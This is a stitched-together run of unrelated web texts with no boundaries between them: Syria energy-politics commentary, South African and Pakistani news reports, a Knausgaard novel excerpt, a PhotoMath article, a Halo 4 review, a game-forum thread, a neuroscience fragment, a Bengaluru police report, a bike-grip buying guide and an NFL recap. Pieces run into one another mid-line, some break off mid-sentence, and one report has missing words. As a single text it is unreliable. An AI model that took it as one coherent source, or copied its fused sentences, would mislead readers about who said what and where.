“Syria and the changing Middle East energy map,” an article by Ruba Husari, a Middle East energy expert and editor of IraqOilForum.com, published earlier this year by the Carnegie Middle East Center, provides a glimpse into the real reasons for the mounting pressure for direct US-NATO intervention.
“Syria might not be a major oil or gas producer in the Middle East, but—depending on the outcome of the Syrian uprising—it may determine the shape of the future regional energy map,” she writes. “The country’s geographic location offers Mediterranean access to landlocked entities in search of markets for their hydrocarbons and to countries seeking access to Europe without having to go through Turkey. The opportunities presented to many in the region by the current Syrian regime could be lost in a post-crisis Syria. To others, new opportunities will emerge under a new Syrian regime.”
The principal losers in a successful war for regimechange would be Iran, which recently signed a major pipeline deal—bitterly opposed by Washington—with Syria and Iraq that is ultimately aimed at bringing Iranian gas to the Mediterranean Sea, and Russia, which has sought to expand its own influence in energy development in the region.
The principal winners would be the US and its allies, together with the major US and Western European-based energy conglomerates.
Ultimately, the goal of US imperialism and its NATO allies in Syria is to isolate and prepare for a far larger war against Iran, with the aim of imposing neocolonial control over the vast energy-producing region stretching from the Persian Gulf to the Caspian Basin.
The real issue in this conflict is not the nature of the Syrian regime, but the nature of the regimes that rule the US, Britain, France and Germany, which are embarking on another predatory carve-up of the world like those that produced the First and Second World Wars.Home Affairs Minister Malusi Gigaba Picture: Dumisani Dube
Pretoria – South African Home Affairs Minister Malusi Gigaba on Tuesday said he was shocked to hear that officials demanded proof from gays and lesbians to register their marriages. “What shocked me the most was the attitude of the officials. When people come forward to get married, the officials ask them to provide proof that they are gay or lesbian. What kind of proof are you asking for? That shocks,” Gigaba said as he addressed journalists in Pretoria.
“There are two people (foreign nationals) who have applied for asylum. These two individuals came to apply for asylum at our offices and again they were asked to provide proof. Again I ask, what type of proof were those officials asking for?”
Gigaba said the officials were overstepping their professional mandate and heads would roll.
“The legal provision (for home affairs staff) to object to conducting same sex marriages meant you must provide, beforehand, your objection so that it is recorded. Nowhere in the Civil Union Act do we grant anybody a right to ask somebody whether they can provide proof of their same sex status. Neither do we ask heterosexual couples to provide proof that they are heterosexual,” he said.
“Nowhere in the law is there such a provision. That’s a clear, blatant and malicious violation of our laws, our procedures and regulations and the Constitution. We need to react in a manner that imposes penalty on wrongdoing so that wrongdoers know that they cannot continue to do it.”
Gigaba said such treatment towards members of the lesbian, gay, bisexual, transgender and intersex (LGBTI) community was “quite inhumane, malicious and anti-public service that I cannot accept in my good conscience”.
The minister addressed media after a meeting with several representatives of the LGBTI community. He said the meeting was fruitful and an eye-opener.
A task team would now be established to deal with the numerous concerns raised by the LGBTI members and provide a status report to Gigaba within two weeks.
Joshua Sehoole, regional coordinator for Iranti-org, applauded Gigaba’s intervention and for inviting the LGBTI to the roundtable discussion.
“We believe very firmly that in going forward and in mapping out an approach to the different issues, it is important to engage the community affected and to come to the best possible intervention, together with the community itself. We’re also very happy with the minister’s commitment to the timelines that he set and the urgency he is acting with,” said Sehoole.
“We are always very happy when the department acts to recognise the human rights of LGBTI people in the country. We also hope that this is something that other government departments and the government as a whole will continue to do, not only nationally, but in the region and globally.”
African News AgencyI pulled the bedroom curtain aside and peered out. The trees in the forest, above which the sun had just risen, cast long, dark shadows over the shimmering tarmac. Then I put on my clothes and went into the kitchen. There was a bowl of cornflakes in my place, with a carton of milk beside it. Dad wasn't there.
Had he gone to his study to get his things together?
No. I heard him moving in the living room.
I sat down and poured milk over the cornflakes. Dipped the spoon in and put it to my mouth.
Oh my God.
The milk was off, and the taste of it, which filled all my mouth, caused me to retch. I gulped it down because at that moment my father came across the floor. In through the doorway, across the kitchen, over to the counter, and leaned against it. He looked at me and smiled. I took another spoonful from the bowl and put it to my mouth. The mere thought of the taste made my stomach turn. But I breathed through my mouth and swallowed it after only a couple of chews.
Oh, yuk.
Dad showed no signs of wanting to leave and I continued eating. If he had gone to his study I could have emptied the dish into the bin and covered it with other rubbish, but as long as he was in the kitchen, or on the first floor, I had no choice.
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After a while he turned to open a cupboard door, took out a bowl of the same kind as mine and a spoon from the drawer and sat opposite me.
He never did that.
"I'll have some, too," he said. Sprinkled some golden, crispy flakes from the box with the red-and-green cockerel on it and reached over for the milk.
I stopped eating. Knowing that a calamity was looming.
Dad placed his spoon in the bowl, filled it to the brim with milk and cornflakes, and put it to his mouth. The moment it was inside, his face contorted. He spat it out into the bowl without chewing.
"Ugh!" he said. "The milk's off! Oh, good grief!"
Then he looked at me. I would remember that look for the rest of my life. His eyes were not angry, as I had expected, but amazed, as though he was looking at something he just could not comprehend. Indeed, as though he were looking at me for the very first time.
"Have you been eating cornflakes with sour milk on them?" he said.
I nodded.
"But you can't do that!" he said. "I'll get you some fresh milk!"
He got up, poured the carton of sour milk into the sink, shaking his arms wildly as he did so, rinsed it, scrunched it up, put it in the trash can beneath the sink, and grabbed a fresh carton from the fridge.
"Let me have that," he said, taking my bowl, emptying the contents into the sink, scouring it with the washing-up brush, rinsing it again, and putting it back on the table in front of me.
"There we are," he said. "Now help yourself to more cornflakes and milk. OK?"
"OK," I said.
He did the same with his dish and we ate in silence.
From "My Struggle: Book Three," by Karl Ove Knausgaard, translated from the Norwegian by Don Bartlett. Archipelago Books, 2014. Reprinted with permission. All rights reserved.The hottest recent iPhone app debut isn’t about photo sharing or social networking: PhotoMath, which just launched last week, uses an iPhone’s camera to read and solve math problems in real time. It led Apple’s iOS store in overall US downloads last Wednesday and remained there into early this week. (It is currently No. 2 in the US store).
More than six million people have downloaded the app since its launch, according to Microblink, the Croatia-based developer of PhotoMath. It has become the no. 1 app in 82 countries, according to app store-tracker App Annie (registration required).
“We’ve been blown away with the response from users,” Izet Zdralovic, co-founder of Microblink, tells Quartz. “With PhotoMath, we feel we’ve connected two unusual things—real-time data with optical character recognition (OCR) and math—and that has never been done before.”
As we noted at the time of the app’s launch, the technology behind the app works like this: A user points a mobile camera at a mathematical equation. The app recognizes the problem and does the math. Within one to two seconds, the app sends back a solution to the equation—along with a step-by-step process on how to solve the problem. A valuable aid for a student eager to understand the process or check her work—or an easy shortcut for the crafty cheater ordered by a teacher to “show your work.”
Is it cheating?
As soon as PhotoMath launched, it was criticized for promoting cheating.
A glance at the App Store reviews shows that’s not unfounded. Here’s one, from a user that goes by Kyle M. Horton: “No one is going to use this to check their work. I need to pass Algebra 2 with an A for college and I am horrible at math. This app just made things a whole lot easier.”
“I am 15 and this app may be handy to allow me [to] understand the problem I am having trouble with. Others will use it to simply cheat,” said another (purportedly more conscientious) user, Ninjump21.
In response, the company wrote a blog post Thursday addressing the concerns—essentially saying that students looking to cheat would cheat anyway, with or without PhotoMath. They said they saw PhotoMath as a sort of 21st-century calculator: “We’re sure that the same questions were raised when calculators entered classrooms,” they wrote. “With PhotoMath, our goal is to make a much more useful calculator.”
PhotoMath’s technology extracts data from the user’s scan of a mathematical equation, and then processes it through a built-in repository of mathematical algorithms that do indeed act like an advanced calculator.
The difference between PhotoMath and some competing apps that send the math problem to a server and get back a solution, Zdralovic explains, is that those processes require an internet connection, whereas PhotoMath does not. This makes the app more viable for users in the developing world, he says, allowing them to find solutions to math problems even if they’re offline.
Next steps for growth
Zdralovic says that Microblink is funding PhotoMath itself without outside investors. The company—which has 12 employees and is based in the capital Zagreb with a second office in London—draws most of its revenue from licensing proprietary software development kits (SDKs) to large firms inside and outside Europe. Zdralovic would not say what the company is currently worth or what PhotoMath’s revenue model will be going forward. He did say, however, that there are “three or four major US publishing companies who’ve approached us about scaling up PhotoMath.” But he declined to name them or expound on the details of such an agreement, saying he was bound by a non-disclosure agreement.
PhotoMath has far surpassed its initial expectation of just 100,000 downloads, and has ambitions to expand its reach in the coming months, says Zdralovic. The next stages will focus on adapting the app to a number of foreign languages and to handle more complex mathematical functions. PhotoMath currently handles only work done at the US 8th and 9th grade level, he said, including the equations students would encounter in Algebra 1 or Algebra 2.
The main focus for now, however, is expanding the app to Android phones. PhotoMath’s developers in Croatia have set a target date of January 2015 for that release.Mrs. Clinton and her top aides, working closely with senior White House and Pentagon officials, carefully calibrated what she would say in her phone call to Ms. Khar to avoid an explicit mention of what one top State Department official called “the A-word” — “apology.” Instead, Mrs. Clinton opted for the softer “sorry” to meet Pakistan’s longstanding demand for a more formal apology for the airstrikes.
Still, the deal carries risks for both governments. Critics of Pakistan’s weak civilian leadership assailed the accord as a sellout to the United States, and it offers potential fodder for Republicans who contend that President Obama says “sorry” too readily.
“The apology will lower the temperature on U.S.-Pakistan relations,” said Shamila N. Chaudhary, a South Asia analyst at the Eurasia Group who served as the director for Pakistan and Afghanistan at the National Security Council. “However, relations are not on the mend. They remain very much broken and will remain so unless the two countries resolve broader policy differences on Afghanistan.”
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As part of the agreement, Pakistan dropped its insistence on a higher transit fee for each truck carrying NATO’s nonlethal supplies from Pakistan into Afghanistan, after initially demanding as much as $5,000 for each truck.
In the end, Pakistan agreed to keep the fee at the current rate, $250. In return, the administration will ask Congress to reimburse Pakistan about $1.2 billion for costs incurred by 150,000 Pakistani troops carrying out counterinsurgency operations along the border with Afghanistan, a senior American official said.
The November airstrikes, which hit in Pakistani territory in response to reports of militant activity in the area, killed 24 soldiers. In response, Pakistan closed the supply lines and worsened relations already badly frayed by the shooting death of two Pakistanis by a Central Intelligence Agency security contractor and by the Navy SEAL raid that killed Osama bin Laden.
Soon after the strikes, the White House decided that Mr. Obama would not offer formal condolences to Pakistan, overruling State Department officials who argued for such a show of remorse to help salvage relations. Pentagon officials also balked, saying that the statements of regrets and condolences from other American officials had been sufficient and that an apology would absolve Pakistan’s military of any blame in the accident.
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Even those in the administration who advocated apologizing did so almost exclusively for practical reasons, such as getting Pakistan on board with the stalled Afghan peace process, officials familiar with the discussions said.
Pakistan, at times, seemingly undermined its own effort to obtain an expression of contrition. The administration was seriously weighing an apology when Afghan insurgents hit multiple targets in simultaneous attacks on Kabul in April, officials said. American military officials quickly linked the attacks to the Haqqani network, a Taliban faction that operates out of Pakistan’s tribal areas on the Afghan border. The apology would wait.
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In May, days before a NATO summit meeting in Chicago, President Asif Ali Zardari of Pakistan earned a last-minute invitation to the talks when it looked as if a deal to reopen the supply lines might be at hand. But no deal materialized.
After that failure, Mr. Nides and Pakistan’s finance minister, Abdul Hafeez Shaikh, were designated by their governments to begin negotiating. Mr. Nides, a former executive at Morgan Stanley, and Mr. Shaikh hit it off, and began swapping e-mails and phone calls to work out a political deal.
At the same time, according to officials, Gen. Ashfaq Parvez Kayani, the Pakistani army chief of staff, was pressing his government to resolve the issue, which had put Pakistan at odds with the more than 40 countries with troops in Afghanistan whose supplies were affected.
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Pakistani officials said they had misjudged NATO’s ability to adapt to the closing and use an alternative route through Central Asia. That rerouting carried a high price: Defense Secretary Leon E. Panetta said it was costing up to an extra $100 million a month.
Last weekend, Mrs. Clinton telephoned her congratulations to Pakistan’s new prime minister, Raja Pervez Ashraf. But it was Mrs. Clinton’s increasingly cordial relationship with the young Pakistani foreign minister, Ms. Khar, 34, that paid dividends in resolving the dispute, American officials said.
Several weeks ago, Mrs. Clinton began working on drafts of the statement she released on Tuesday, and at one point began discussing the language with Ms. Khar, a person with knowledge about the process said. “This was jointly done,” said the person, who, like half a dozen other officials from both countries, spoke on condition of anonymity because of diplomatic protocols.
Also over the weekend, Mr. Nides arrived in Islamabad, joined by Gen. John R. Allen, the American commander of NATO forces in Afghanistan, and James N. Miller, the Pentagon’s top policy official, for meetings with their Pakistani counterparts. On Monday, they put the finishing touches on the agreement. “The Nides visit this past weekend pushed it over the line,” one senior American official said.
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In Pakistan on Tuesday, the decision to reopen the supply routes was met with a general sense of befuddlement and muted criticism that the government had given up a much-trumpeted increase in transit fees for NATO trucks.
But government officials were at pains to claim that the accord had never hinged on higher fees. “I am glad that this breakthrough is not part of any transaction,” said Sherry Rehman, Pakistan’s ambassador to the United States. “We are playing our role as responsible global partner in stabilizing the region.”
Still, opposition politicians criticized the move and demanded more of an explanation from the Pakistani government and military.
“Now government should let the people know about the terms and conditions for reopening the NATO supply lines. What were the demands?” said Shah Mehmood Qureshi, a former foreign minister and leader of Pakistan Tehreek-e-Insaf, a popular opposition political party led by the former cricket star Imran Khan.
Enver Baig, an opposition politician belonging to the Pakistan Muslim League-Nawaz, referring to the Americans, complained: “They did not apologize. They said ‘sorry.’ ”Halo 4 is half the game it should be Tom Chick, November 4, 2012 | Game reviews
The Mammoth is glorious. This enormous wheeled vehicle is like a cross between a sandcrawler and that RV from Damnation Alley. It’s got a big-ass gun on top. Surely new Halo developer 343 Industries knows their Chekhov. When you introduce a big-ass gun at the start of a mission, you must fire it by the end of the mission. Maybe I’ll get to fire it. I hopped on board and couldn’t wait for the mission to start. This was going to be good. Probably better than that giant mechanical spider mission in an earlier Halo. Obviously better than the mondo truck mission in Gears of War. Maybe it will rival the crazy over-the-top sandcrawler sequence in Lost Planet 2!
“Chief, better get a jetpack,” one of the ancillary characters tells me.
A jetpack? What for? Why do I want a jetpack? Oh, in case I fall off. Good thinking!
The Mammoth starts rolling. It wends slowly through a narrow area barely wide enough to accommodate it. It’s like trying to park a Hummer in a space for a compact car. I get to shoot at about ten Covenant aliens off to the left. Then the Mammoth stops. I’m told I have to get off and go play Halo in an area to the right. I play a little Halo. The Mammoth waits for me patiently. Now it’s time to get back on the Mammoth. Then it wends its way a little farther down the very narrow path. Then it stops again for me to play a little more Halo.
This is how it plays out. The Mammoth will never fire its bad-ass gun. It will never drive anywhere other than along this closed in canyon. It’s an oversized bus taking me to bits of the same old Halo I’ve been playing for ten years. It is a massive fake-out, like everything else new in Halo 4: the Spartan ops feature, the storyline, the ancient evil awakening, the new multiplayer. Ponderous, familiar, and disappointing.
After the jump, what’s a Halo 4?
The last few Halos seemed to be stretching their legs. The jazz bar melancholy of ODST’s ruined city and the last-stand grimness of Reach had character. They seemed to realize you can only go so far with a faceless dude in a suit of armor. But now we’re back to Master Chief doing all over again what he’s already done before. There is literally nothing that happens in Halo 4 that hasn’t happened in one of the earlier games. There are no new set pieces, no new situations, no new beats in the gameplay. It’s all a retread. A slide down the same worn groove when you could instead be playing Borderlands 2, or The Darkness II, or Mass Effect 3, or the new Painkiller re-release, or even Halo: Reach.
In terms of new features, ODST had firefight, and Reach had even better firefight. Bungie’s games were at their best when you played them as tactical sandboxes, and firefight was the nearly perfect distillation of those sandboxes. You could flex and bend them however you liked. It was one of the best ways to show off the fantastic interplay of guns and aliens, minus the turgid storytelling. Halo 4 has no firefight. It has instead a set of five short missions, all on levels you played in the campaign, called Spartan Ops. The idea is that this is the first episode, and you can download more episodes later. It’s not a very good feature and it’s a particularly lousy alternative to firefight.
Furthermore, Halo 4 is missing the scoring mode that made the previous Halos so replayable. So what’s the point of the skulls that raise the difficulty level? The scoring system made this part of a risk/reward balance. They made the level harder, but they also raised your scoring multiplier. Why would I turn on skulls if there’s no scoring to be multiplied? Furthermore, you lost points when you died. In the pointless Halo 4, you just pop back up next to your buddy or at the last spawn point, none the worse for the wear, with no score to be penalized. Scoring was furthermore a great bit of instant feedback, along with all the little medals for feats. Halo used to be a gamer’s game. Halo 4 is just a game.
The new multiplayer progression is — stop me if you’ve heard this one — unlockable weapons and perks. As you level up, you earn points to spend on your various loadouts. This means the multiplayer isn’t just about getting beat by guys who are better than me. Now it means getting beat by guys who are better than me and who have better weapons and abilities unlocked. Otherwise, the competitive multiplayer is the same as it always was. Except now the infection mode is called Flood. What a horrible fake-out to see a mode called Flood and to discover that this is not, in fact, the Flood, but infection mode with a Flood skin. It’s worth mentioning that Halo 4, which visits a halo, has the perfect opportunity to reintroduce the Flood. No such thing happens.
Although the level design and the combat will be familiar to a fault, Halo 4 gets very Tron as it progresses. First come the Tron dogs, then the Tron guns, then the Tron robots, then whole Tron levels. The new guns are Tron versions of the old guns: battle rifle, shotgun, sniper rifle, rocket launcher, etc. Their components hover magically like a live action exploded view of a fake space gun. Then they slam together and you’re shooting orange laser beams where bullets used to be. The new stuff is all orange. Orange enemies, orange veins in the alien structures, orange laser beams. Orange is the new blue.
As with any Halo game, you’ll find plenty of tactical interplay among the enemies. Some of this is a little new, such as the flying robots who shield enemies or resurrect dead robots. They’re like amped up versions of the engineers from ODST. The hulking robots get a short-range teleport skill. But these new creatures have none of the personality or variety of the Covenant. There are basically Tron dogs, big Tron robots, and floating Tron support robots.
As a story, Halo 4 focuses on Cortana, now inexplicably sexied up as the hottest blue hottie this side of Avatar, and Master Chief, as bland and green as ever. Cortana gets bitchy and insecure. She blames her mood swings on rampancy. That’s apparently a thing. Rampancy. An AI thing. It was better when Shodan and GlaDOS did it. Also, AIs have a lifespan, like replicants. Didn’t you know that? In case you didn’t, Halo 4 is telling you now. By the way, Halo 4 says, AIs have a life span.
Since Cortana is going to go rampant as she nears her expiration date, Master Chief tells his commander officer, who is a douchebag anyway, to eff off. Meanwhile aliens something something something with an orc who lives inside a giant egg. Something something something artifact something something. On no, it’s headed for Earth something something! As near as I can tell, based on the skybox and my knowledge of geography, Master Chief saves Earth but Las Vegas gets zapped with a massive orange beam. Great news for Reno.
Overall, the story is slow, sentimental, and all too serious. It’s a narrative paper, rock, scissors in which orcs beat love, love beats nukes, and nukes beat orcs. Oh, and you can drive a green mech in a couple of the levels.
This is Halo 4. A shiny old dog without any new tricks. I got more out of the Halo 1 remake, which at least had the appeal of nostalgia. Playing through an updated version of the original Halo was at times tired or tedious. But it was also a reminder of the raw genius that launched the series. There is none of that in Halo 4, which is a drawn-out retread without any fresh perspective or energy, and furthermore missing a lot of what I need to pull me through a Halo game. Halo 4 demonstrates that if there’s one thing worse than more of the same, it’s less of the same.
1 star
Xbox 360
UPDATE: Before you comment, I recommend you read this FAQ about Quarter to Three’s review process, which will answer many of your questions and address many of your concerns. Also, I assure you that I am not editing or deleting comments. However, Disqus is dropping some of the comments in the pending box, presumably because it doesn’t like some of the things you’re saying. I will authorize these as soon as I see them.About
Cardboard Productions is putting on a play about human trafficking, and is hoping to tour the piece throughout the Midwest.
Our theater company is a for-profit social entrepreneurship with a mission to compensate actors with fair wages. Actors' working rights are often unrepresented, and as a result, most actors do not make a livable wage. Each actor in our production is given a 10% share in the box office sales.
We produce socially relevant pieces that discuss current legislation, with the hope it will inspire community members to get involved. We try to keep the topic matter to issues affecting the Midwest.
Rendezvous follows a prostituted child in her recovery as a victim of human trafficking. Olive arranges to meet her new "customer" at the hotel's neighboring diner. A night of horrifying reality tests the boundaries of how far one is willing to go for a complete stranger.X Complete Initialization for 10 kreds Complete the Quest and earn an exclusive shiny kongpanion + 10 kreds 15% « Previous Next » Congratulations! You’ve completed your Kongregate account! Keep exploring Kongregate with more badges and games! Congratulations! You’ve completed your Kartridge quest! Spend your hard earned kreds on some of these games! Hide the progress bar forever? Yes No Forums → Animation Throwdown → General → [OFFICIAL] QoL Updates, Super Epic Pack, Challenge Crate Updates Limit my search to this forum 134 posts « Prev
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Next » There was an error. Delete post THIS IS A SPINNER or cancel THIS IS A SPINNER metadata Hello community! *** Here is some more info on upcoming updates! A new client will be pushed today that will include the following (some may not be turned on immediately, but over the next week or so): # Quality of Life Updates Here are some Quality of Life and Bug Fixes that will be addressed in this client. * Fixed bug with autodeck & upgrading deck count display * Added "Recycle All Commons" button to edit deck * Fixed bug with localization and cycling Challenges * Can now preview combos in hand * Fix to crash when clicking reward cards * Reskinned upgrade and research gem confirmation windows * Recycle screen now filters cards that cannot be recycled # Super Epic Pack As part of our meta changes, a new Super Epic Pack will be available in Challenges and in the store. It will include **every input card in the game** and will include a chance at Mythic Stones. Mythic Stone drops will be very rare, however, this is an all or nothing pull - meaning there are no partial Mythic Stone drops and once dropped, you will gain an entire Mythic card or level up one you already have. It will cost 250 gems - a 10 pack for 2500 gems will be available that will include an extra free pack (AKA: A Buy 10 get one free deal). # Challenge Crate Updates Challenge rewards will be changing from a single crate that costs 2000 Challenge coins to: * Hero Token Crate that has a chance at a random amount of hero tokens for a random hero. Costs 1000 Challenge coins. * Super Epic Pack costing 2000 Challenge coins (same Super Epic pack that is available in the store) *** More info on updates to Adventure are coming - keep checking back! *** - ShinyMetalMod metadata Awesome thanks shiny!! Over the next week or so people, give them time before y'all go crazy :) metadata That new pack sounds intriguing. Some very lucky people are gonna be very happy. Good stuff! metadata every input card, does that mean epic and legendary power cards as well? metadata > *Originally posted by **[gearedjp](/forums/727066/topics/733879?page=1#11159473)**:* > every input card, does that mean epic and legendary power cards as well? No, it excludes combo and Power Cards. metadata > _Originally posted by **[ShinyMetalMod](/forums/726779/topics/733879?page=1#11159479):**_ > > *Originally posted by **[gearedjp](/forums/727066/topics/733879?page=1#11159473)**:* > > every input card, does that mean epic and legendary power cards as well? > > No, it excludes combo and Power Cards. Understood, Thanks. metadata This sounds terrific, hopefully Challenges are worth the grind now & this Super Epic Pack sounds intruiging! metadata LOL!!!!!!! Of Course! I FINALLY gave in and cashed out all my WW Coins yesterday! metadata Curious... But for the hero tokens, does that also include heroes like Zap, Consuela, and Gene? metadata But most likely you will get a common card, right? metadata > *Originally posted by **[IndustryDarling](/forums/727066/topics/733879?page=1#11159500)**:* > LOL!!!!!!! Of Course! I FINALLY gave in and cashed out all my WW Coins yesterday! Yeah, I wish they would make up their minds on these crates. metadata Wow this sounds like one of the best things to happen to the game in a long time. metadata Does that mean one can spend 2k challenge coins and walk away with a COMMON card? In |
also showed properties similar to native cells:
"These cells are known to extend projections into certain brain regions. And we found the human transplanted cells also connected to these distant targets in the mouse brain. That's a landmark point about this paper."
Because they used adult human skin cells in the study - and not mouse cells or human cells at an earlier stage of development - the team believes the work shows the potential for using patients' own cells in regenerative medicine. This is important because therapies can use readily available cells and also avoid the problem of immune rejection.
For their study, Dr. Yoo and colleagues cultured the skin cells in an environment that mimics that of brain cells. In previous work, they had already discovered that exposing skin cells to two small RNA molecules called miR-9 and miR-124 can turn them into different types of brain cell.
Although they are still trying to work out exactly what happens, the team believes the two small RNA molecules open up the tightly packed DNA inside cells that holds instructions for making brain cells, allowing the genes particular to their development and function to be switched on.
Having proved that exposure to these small RNA molecules converts skin cells into a mix of brain cells, the team began fine-tuning the chemical signals. They did this by adding molecules called transcription factors that they already knew were present in the part of the brain where medium spiny neurons are abundant.
Transcription factors guide the cells to become a specific type
Co-first author Matheus B. Victor, a graduate student in neuroscience, says they believe the small RNA molecules are "doing the heavy lifting," and:
"They are priming the skin cells to become neurons. The transcription factors we add then guide the skin cells to become a specific subtype, in this case medium spiny neurons. We think we could produce different types of neurons by switching out different transcription factors."
The team also showed that when the skin cells are exposed to the transcription factors alone, without the small RNA molecules, the skin cells do not convert successfully.
The team also carried out extensive tests to show the new brain cells had the hallmarks of native medium spiny neurons. They expressed the right genes for their specific type and did not express genes for other types of neurons.
And, when transplanted into the brains of mice, the converted cells looked like native medium spiny neurons and behaved like them.
The team is now using skin cells from patients with Huntington's disease and converting them into medium spiny neurons using their new approach. They also plan to inject the cells into mice with the disease.
The study was funded by various bodies, including the National Institutes of Health (NIH).BENGALURU: The recent cases like the one in
, where a woman and her brother-in-law fabricated a molestation tale for personal reason, and a Facebook post by a techie accusing a bus conductor of harassment are not stray incidents, statistics with
show.
About 151 of the 2,190 complaints of molestation filed with city police from 2014 to 2016 were found to be fake. Most of them were result of personal rivalry, job-related issues and family disputes, officers said.
The techie, who on January 10 posted on her Facebook that a BMTC bus conductor and male passengers had allegedly tried to molest her, later took a U-turn when police sought her statement to follow up the case.
According to investigating officers, 120 molestation cases fell flat when the complainants backed out when they were asked to make statement under
, which is a mandatory in sexual assault cases. In the remaining 31 cases, the complainants themselves confessed that their allegations were not true and they wished to close the case.
“A woman from northeast Bengaluru had filed a molestation case against her house owner. We later found that the 45-year-old was emotionally attached to the house and was not willing to move out. The owner wanted a higher rent and asked her to vacate it when she refused to pay. After a verbal altercation, the woman filed a complaint saying the 65- year-old owner had pulled her hands and tried to molest her,” sources said.
However, police admit that not all cases where the complainants had backtracked could be termed fake. “They may back out because of the fear of ‘taint’ or pressure from family. But we have no go but to file a B report, which means it is a false complaint or a such an incident had not taken place at all, once the complainants don’t persist with their charges,” a senior officer said.
They pointed out that the KG Halli incident is a perfect example of how ulterior motives spark fake complaints. A 23-year-old woman’s complaint that she was attacked by a man earlier this month resulted in police arresting her brother-in-law. “The accused wanted to marry the woman and told her to feign being a molestation victim. He thought the taint would ensure no one would marry her and he could then convince their families to accept their relationship,” police said.The contact points of your bike are highly based on personal preference when building up your bike. Everyone has their favorite saddle, pedals, and grips. Over the years I’ve sampled quite a few different grips to find a set that I liked the most. Grips come in a myriad of colors, textures, and thicknesses. I thought it would be a good idea to share my opinion on the best grips that I have found that work well for mountain biking.
Made In The USA – It also just so happens that almost all of my favorite grips and those chosen by many riders on the forums and top racers are made by companies that manufacture their grips in the United States.
What is the difference between a Lock-On grip and a non-Lock-On grip?
A Lock-On grip usually has an inner plastic liner that the rubber grip is mounted to at the factory. This liner is attached to metal lock rings that have set-screws that tighten against the handlebar to keep it in place. To remove the grip you just loosen the screws and take the grip off. Due to the lock ring hardware Lock-On grips are heavier than their non-Lock-On counterparts. They also tend to cost a bit more.
A non-Lock-On grip sometimes called a slip-on or push-on grip has to be pushed onto the handlebar. There are a myriad of ways to performs this action, which usually involves some kind of lubricant (hairspray, saliva, etc) to get the rubber grip to slide onto the handlebar. Another method is using an air compressor to blow air under the grip and allow you slide the grip on the bar.
Which is better Lock-On vs. Non-Lock-On?
In my mind this is an easy question to answer. Lock-On’s are superior to slip-on/push-on grips. Once installed properly a Lock-On grip will stay in place and not rotate or twist. Slip-on grips are prone to slippage (because they are only relying on the tackiness of the rubber grip against the bar) when used on mountain bikes and can become a hazard when loose or even can come off during riding. This is especially something to worry about when riding in wet conditions. Lock-On grips are also more easy to install and remove to use on another bike.
The Best Non-Ergonomic Grips
The Best Ergonomic Grips
The Best Mountain Bike Grips
ESI – Chunky and Racers Edge – made in California
ESI grips are some of the most lightweight grips you can buy. They don’t have any grip pattern to them but the silicone material they are made out of has grip. They have a lot of cushion in the Chunky version and not as much in the Racer version.
Check Latest Price: ESI Chunky Check Latest Price: ESI Racers Edge
One of the most winning downhill mountain bikers of all time got his own signature grip a while back. The Peaty grip is a very thin grip but works well. The lines throughout the grip pattern hook up well on gloves. Like Ruffians these gloves do not have any cushion to them.
Check Latest Price: Lizard Skins Peaty
Lizards Skins offers a pretty nifty custom grip creator on their website. You can pick the inside and outside lock-ring colors, end cap color, and have them custom etched with up to 14 characters.
The Cross Trainer grip design is one that I tried on a whim. Initially I thought I wouldn’t like these grips but I ended up enjoying the swishy ribbed grip feel. They are an inbetween grip diameter, not thick and not too thin.
Check Latest Price: ODI Cross Trainer
The ODI Rogue is my personal favorite grip. They are thicker and offer more padding than a lot of grips out there. I find the blocks that make up the grip pattern give good traction.
Check Latest Price: ODI Rogue
The ODI Ruffian is a classic grip. The raised diamond texture and thin grip diameter are its hallmarks. The tiny little diamonds grip gloves like sandpaper offering just the right amount of grip. These grips are for those that want a thin feel and not much padding.
Check Latest Price: ODI Ruffian
This is a relatively new grip design. They are on the thinner side of the spectrum in grip diameter. What I like most about the TLD grips is the small flanges on the ends. They give you that old school BMX style grip feel without being intrusive to shift and brake controls.
Check Latest Price: ODI Troy Lee Designs
The Oury grip is an iconic grip design used by bicyclists and offroad motorsports riders. The grip design is thick and chunky but provides lots of grip. I’ve also found that the Lock-On version seems to be a bit more softer than the slip-on version.
Check Latest Price: Oury Grips
The Best Ergonomic Mountain Bike Grips
Sometimes a standard grip design doesn’t work for you. A lot of riders have wrist issues that can be aided by the use of ergonomic grips. These grips have a more contoured shape to fit hands and support your wrist differently. When installing these grips make sure you try several angles to find the best fit for your riding style and bio-mechanics. These are the ergonomics grips that I have found work the best for me and my riding buddies.
You can see in these illustrations from Ergon how an ergonomic grip may alleviate pain for you.
The GP1 is a pretty large ergonomic grip but I feel that it offers the most wrist support. The grip textured sections offer good traction but the weight is a little high.
Check Latest Price: Ergon GP1
The GS1 is more racey than the GP1. I have used it much longer. It isn’t as large as the GP1 but still offers good wrist support. These grips can make long rides a lot more comfortable if you have wrist pain with traditional grips.
Check Latest Price: Ergon GS1
I also really like the XC Contour grips from Specialized. They have tacky rubber and diamond grip pattern that offer a lot of traction. The flanges are also not very large on these grips and feel more sporty and less clunky compared to larger ergonomic grips.
Check Latest Price: Specialized XC Contour
I hope this selection of grips has given you some new options to try if you’re unhappy with your current grips. What grips are your favorites? Let me know in the comments.
Commission Disclaimer
Any links to retailers from this article provide a compensation commission back to OldGloryMTB.com for referring customers to their site that buy products. This helps keep us out on the trails checking out new gear to write about here on the site.TAMPA, Fla. -- There comes a point when you have to accept that certain teams are just too good to count out, regardless of the circumstances. The New England Patriots have proved as much under head coach Bill Belichick. The Denver Broncos are now doing the same with their head coach, Gary Kubiak. The more the reigning Super Bowl champions keep playing, the harder it is to imagine them eventually failing.
That mental toughness was on display once again when the Broncos faced the Buccaneers in Tampa on Sunday afternoon. This didn't seem like much of a game until Denver lost starting quarterback Trevor Siemian to a shoulder injury on his left (non-throwing) shoulder late in the second quarter. Suddenly the Broncos, leading 14-7 at the time of the injury, were forced to rely on untested rookie Paxton Lynch for the entire second half. All that dilemma did was give their defense more motivation to take over and the remainder of the Broncos ample reason to elevate their own performances.
The final score -- 27-7 in favor of Denver -- won't tell the full story of what happened inside Raymond James Stadium that day. This was one more substantial piece of evidence that the Broncos, now 4-0, should be considered early front-runners to hoist another Lombardi Trophy.
"It's been a good month," Kubiak said. "We divide [the season] into quarters and it's obviously been a good first quarter. There are so many things we can work on as a team, which is what I'm excited about. We've got some injuries to work through and we have another one today. But we keep stepping to the plate, playing hard and playing well late, which is what you have to do to win in this league."
